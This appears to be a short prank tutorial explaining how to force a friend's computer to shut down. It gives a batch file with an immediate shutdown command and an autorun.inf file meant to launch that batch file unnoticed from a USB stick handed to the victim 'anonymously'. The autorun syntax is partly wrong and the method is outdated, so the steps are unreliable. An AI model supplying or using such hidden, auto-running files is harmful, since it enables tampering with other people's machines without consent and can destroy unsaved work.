How to Shutdown friend's computer

How to shutdown friend's computer

Open notepad and write this program.

@ echo off
Shutdown -s -t 00

Save this file as a '.bat' file.
Start this program in friend's pc
You can also do this anonymously by USB. 

For this we need to buid a autorun.inf

Make a autorun.inf

Open notepad

[autorun]
start=filename.bat
action= start my application

Save this file as a "autorun.inf"

Put "autorun.inf" and ".bat" files in USB and give it to your friend.